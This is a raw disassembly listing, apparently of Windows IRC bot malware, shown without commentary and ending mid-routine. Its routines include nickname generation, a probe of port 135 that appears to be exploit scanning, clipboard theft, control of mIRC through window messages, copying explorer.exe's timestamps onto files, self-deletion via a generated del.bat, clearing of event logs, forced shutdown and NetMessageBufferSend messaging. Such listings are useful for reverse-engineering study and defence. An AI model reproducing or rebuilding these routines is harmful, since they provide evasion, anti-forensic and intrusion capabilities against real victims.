mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41D174 mov ebx, eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41D174 push off_438A68[eax*4] lea eax, [ebp+var_40] push eax call sub_41C890 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C990 add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+var_40] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_418001 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_418001 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41CBC0 add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+var_2C] push eax call sub_41B9C0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DEE8 pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz loc_418173 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41D174 cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call sub_41C2C2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call sub_41D174 test eax, eax jnz short loc_4181D5 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+var_C], 2 jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A0 call sub_41D174 cmp eax, 1 jnz short loc_41827C cmp [ebp+var_C], eax jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_427698 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BFD0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DF40 add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: .packed:0040DFD7p ; .packed:0040E0C0p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C500 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA14 ; inet_addr push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA54 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CB9D4 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C ; connect cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439374 push esi call dword_4CBA24 ; send cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC ; recv cmp eax, edi jz loc_41842A cmp [ebp+var_200E], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393C0 push [ebp+arg_4] call dword_4CBA24 ; send cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9EC ; recv mov esi, eax cmp esi, edi jz short loc_41842A cmp [ebp+var_200E], 2 jnz short loc_41842A push 10h push offset loc_4393DC lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h push offset dword_4393F0 lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA6C ; closesocket mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4184C6 cmp [ebp+arg_8], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi call sub_426465 mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+arg_4] push edi call sub_41C2E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax push edi push ebx call sub_41BFD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B9C0 push eax push [ebp+arg_8] push ebx call sub_41CBC0 push [ebp+arg_4] call sub_41B9C0 add eax, esi push eax push ebx call sub_41C8A0 push ebx push edi call sub_41C890 add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; sub_410BFD+F4p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BF70 mov esi, [ebp+arg_0] push esi call sub_41B9C0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CD20 add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DFEC cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; sub_415E4B+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C500 push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B9C0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DFEC pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DFEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+arg_0] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_427094 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_427164 ; FormatMessageA lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DB17C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C360 add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9A4 ; OpenClipboard test eax, eax jz short loc_41875A push 1 call dword_4CB9C4 ; GetClipboardData mov esi, eax test esi, esi jz short loc_41875A push edi push esi call dword_42716C ; GlobalLock push esi mov edi, eax call dword_427168 ; GlobalUnlock call dword_4CBA28 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9E0 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_427178 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_427174 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C266 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA30 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4CBA30 ; SendMessageA push ebx call dword_427170 ; UnmapViewOfFile push edi call dword_427070 ; CloseHandle push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: sub_401221+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBA90 ; SearchPathA test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_427180 ; GetFileTime push ebx mov ebx, dword_427070 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_42717C ; SetFileTime push esi call ebx ; CloseHandle loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB914 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; sub_4167A0+472p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAA4, esi jnz short loc_4188CA push esi call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+var_764] push eax push 400h call dword_4270B8 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_4270F8 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_4270F0 ; WriteFile push edi call dword_427070 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BF70 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB88 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_4270A4 ; GetModuleHandleA push eax call dword_427078 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4270A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax call dword_42709C ; SetFileAttributesA loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_427184 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_427074 ; CreateProcessA loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4270D0 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB954 ; OpenEventLogA push edi push eax call dword_4CB964 ; ClearEventLogA test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset dword_4394FC loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+var_294] push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_4394D4 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+var_294] push offset unk_4394A4 push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4270D0 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call dword_4270C0 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call dword_4270C4 ; GetProcAddress push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E0D4 lea eax, [ebp+var_F8] push eax call sub_41E0B7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call dword_427144 ; FreeLibrary mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p ; sub_40F0F1+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_41C2C2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276E0 call sub_41D174 sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = 